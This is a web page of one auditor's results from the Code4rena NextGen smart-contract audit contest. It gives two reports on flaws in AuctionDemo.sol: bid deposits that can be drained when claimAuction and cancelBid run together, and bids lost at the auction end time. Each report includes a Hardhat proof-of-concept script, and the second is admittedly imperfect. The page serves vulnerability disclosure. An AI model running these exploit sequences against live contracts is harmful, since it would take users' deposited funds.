NextGen - 0xSwahili's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 134/243

Findings: 2

Award: $5.49

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
upgraded by judge
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124

Vulnerability details

Impact

Highest bidders can steal other bids deposits. This is because claimAuction does not mark a bid as false and cancelBid doesn not check that a token auction is claimed. This can happen under these conditions:

  1. claimAuction and cancelBid are included in the same block.
  2. claimAuction is called before cancelBid.
  3. These 2 transactions happen at most at auctionEndTime.

Proof of Concept

const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai") const { ethers } = require("hardhat") const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { before(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) }) context("Create a collection & Set Data", () => { it("#createCollection1", async function () { await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#createCollection2", async function () { await contracts.hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#registerCollectionAdmin", async function () { await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) }) it("#setCollectionData1", async function () { await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) }) it("#setCollectionData2", async function () { await contracts.hhCore.setCollectionData( 2, // _collectionID signers.addr1.address, // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000, // _setFinalSupplyTimeAfterMint ) }) }) context("Set Minter Contract", () => { it("#setMinterContract", async function () { await contracts.hhCore.addMinterContract( contracts.hhMinter, ) }) }) context("Set Randomizer Contract", () => { it("#setRandomizerContract1", async function () { await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) }) it("#setRandomizerContract2", async function () { await contracts.hhCore.addRandomizer( 2, contracts.hhRandomizer, ) }) }) context("Set Collection Costs and Phases", () => { it("#setCollectionCost1", async function () { await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionCost2", async function () { await contracts.hhMinter.setCollectionCosts( 2, // _collectionID BigInt(1000000000000000000), // _collectionMintCost 1 eth BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth BigInt(100000000000000000), // _rate 200, // _timePeriod 2, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionPhases1", async function () { await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) it("#setCollectionPhases2", async function () { await contracts.hhMinter.setCollectionPhases( 2, // _collectionID 1698138500, // _allowlistStartTime 1698138500, // _allowlistEndTime 1698138500, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) }) context("Mint & Auction", () => { it("#mintNFTCol2", async function () { let indexMin = await contracts.hhCore.viewTokensIndexMin(2); let cirSupp = await contracts.hhCore.viewCirSupply(2); let tokenId = parseInt(cirSupp) + parseInt(indexMin); await contracts.hhMinter.mintAndAuction( signers.addr3.address, // _mintTo '{"tdh": "100"}', // _tokenData 2, //_varg0 2, // _collectionID 1796931278 ) await contracts.hhCore.connect(signers.addr3).approve(contracts.hhAuction.getAddress(),tokenId); cirSupp = await contracts.hhCore.viewCirSupply(2); tokenId = parseInt(cirSupp) + parseInt(indexMin); await contracts.hhMinter.mintAndAuction( signers.addr4.address, // _mintTo '{"tdh": "100"}', // _tokenData 2, //_varg0 2, // _collectionID 1896931278 ) await contracts.hhCore.connect(signers.addr4).approve(contracts.hhAuction.getAddress(),tokenId); }) }) context("Auction", () => { it("#Auction", async function () { await contracts.hhAuction.connect(signers.addr5).participateToAuction( 20000000000, { value: 500} ) await contracts.hhAuction.connect(signers.addr6).participateToAuction( 20000000001, { value: 510} ) let timestamp = (await ethers.provider.getBlock('latest')).timestamp; let incTime = 1796931277 - timestamp; await ethers.provider.send('evm_increaseTime', [incTime]); await ethers.provider.send('evm_mine'); await contracts.hhAuction.connect(signers.addr5).claimAuction( 20000000000 ) await contracts.hhAuction.connect(signers.addr5).cancelBid( 20000000000, 0 ) }) }) })

Tools Used

Manual review

  1. claimAuction should mark a bid as false
  2. cancelBid should check that a token auction is claimed

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-15T04:55:31Z

141345 marked the issue as duplicate of #1172

#1 - c4-judge

2023-12-06T21:29:01Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T17:42:21Z

alex-ppg marked the issue as partial-50

#3 - c4-judge

2023-12-09T00:20:29Z

alex-ppg changed the severity to 3 (High Risk)

Awards

5.4864 USDC - $5.49

Labels

bug
2 (Med Risk)
downgraded by judge
partial-50
edited-by-warden
duplicate-175

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57

Vulnerability details

Impact

Users who bid at same timestamp as auctionEndTime will lose their bids. This is because bids are accepted upto and including the auctionEndTime. This will happen under the following conditions:

  1. claimAuction and participateToAuction are included in the same block.
  2. both transactions happens at auctionEndTime
  3. the current call to participateToAuction becomes highest bid
  4. claimAuction executes ahead of participateToAuction
function participateToAuction(uint256 _tokenid) public payable { require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); } function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }

Proof of Concept

This test in Hardhat misses the timestamp by 1, but a similar test in Foundry should work:

const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai") const { ethers } = require("hardhat") const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { before(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) }) context("Create a collection & Set Data", () => { it("#createCollection1", async function () { await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#createCollection2", async function () { await contracts.hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#registerCollectionAdmin", async function () { await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) }) it("#setCollectionData1", async function () { await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) }) it("#setCollectionData2", async function () { await contracts.hhCore.setCollectionData( 2, // _collectionID signers.addr1.address, // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000, // _setFinalSupplyTimeAfterMint ) }) }) context("Set Minter Contract", () => { it("#setMinterContract", async function () { await contracts.hhCore.addMinterContract( contracts.hhMinter, ) }) }) context("Set Randomizer Contract", () => { it("#setRandomizerContract1", async function () { await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) }) it("#setRandomizerContract2", async function () { await contracts.hhCore.addRandomizer( 2, contracts.hhRandomizer, ) }) }) context("Set Collection Costs and Phases", () => { it("#setCollectionCost1", async function () { await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionCost2", async function () { await contracts.hhMinter.setCollectionCosts( 2, // _collectionID BigInt(1000000000000000000), // _collectionMintCost 1 eth BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth BigInt(100000000000000000), // _rate 200, // _timePeriod 2, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionPhases1", async function () { await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) it("#setCollectionPhases2", async function () { await contracts.hhMinter.setCollectionPhases( 2, // _collectionID 1698138500, // _allowlistStartTime 1698138500, // _allowlistEndTime 1698138500, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) }) context("Mint & Auction", () => { it("#mintNFTCol2", async function () { const indexMin = await contracts.hhCore.viewTokensIndexMin(2); const cirSupp = await contracts.hhCore.viewCirSupply(2); const tokenId = parseInt(cirSupp) + parseInt(indexMin); await contracts.hhMinter.mintAndAuction( signers.addr1.address, // _mintTo '{"tdh": "100"}', // _tokenData 2, //_varg0 2, // _collectionID 1796931278 ) await contracts.hhCore.connect(signers.addr1).approve(contracts.hhAuction.getAddress(),tokenId); }) context("Auction", () => { it("#Auction", async function () { console.log(signers.addr1.address);*/ await contracts.hhAuction.connect(signers.addr2).participateToAuction( 20000000000, { value: 500} ) const owner = await contracts.hhCore.ownerOf( 20000000000 ) expect(owner).to.equal(signers.addr1.address); var timestamp = (await ethers.provider.getBlock('latest')).timestamp;; const incTime = 1796931278 - timestamp; await ethers.provider.send('evm_increaseTime', [incTime]); await ethers.provider.send('evm_mine'); await contracts.hhAuction.connect(signers.addr2).claimAuction( 20000000000 ) const owner2 = await contracts.hhCore.ownerOf( 20000000000 ) expect(owner2).to.equal(signers.addr2.address); await contracts.hhCore.connect(signers.addr2).approve(contracts.hhAuction.getAddress(),20000000000); /* await contracts.hhAuction.connect(signers.addr3).participateToAuction( 20000000000, { value: 510} ) */ }) }) })

Tools Used

Manual review

claimAuction should only run AFTER the auctionEndTime. Change line hardhat/smart-contracts/AuctionDemo.sol:105 thus:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
## Assessed type Math

#0 - c4-pre-sort

2023-11-20T12:40:59Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-02T15:33:05Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-02T15:34:57Z

alex-ppg marked the issue as duplicate of #1926

#3 - c4-judge

2023-12-08T18:49:12Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-09T00:21:41Z

alex-ppg changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter